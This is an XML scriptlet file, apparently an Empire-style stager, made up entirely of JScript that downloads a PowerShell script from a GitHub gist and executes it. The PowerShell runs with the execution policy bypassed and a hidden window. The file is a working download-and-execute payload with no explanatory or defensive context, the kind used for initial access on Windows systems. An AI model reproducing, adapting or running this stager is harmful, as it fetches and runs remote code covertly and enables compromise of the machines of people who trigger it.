empire.sct

empire.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
	>
	
</registration>

<script language="JScript">
<![CDATA[
	

		
		w = new ActiveXObject("WScript.Shell");
		h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
		h.Open("GET","https://gist.githubusercontent.com/Elm0D/97147150a1738f05a8afa1f1d81985f5/raw/f514e953767ff9b4661cda2729eced17905144bc/test_VD.ps1",false);
		h.Send();
		c = h.ResponseText;
		ps = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command ';
		r = new ActiveXObject("WScript.Shell").Exec(ps + c);

	
]]>
</script>

</scriptlet>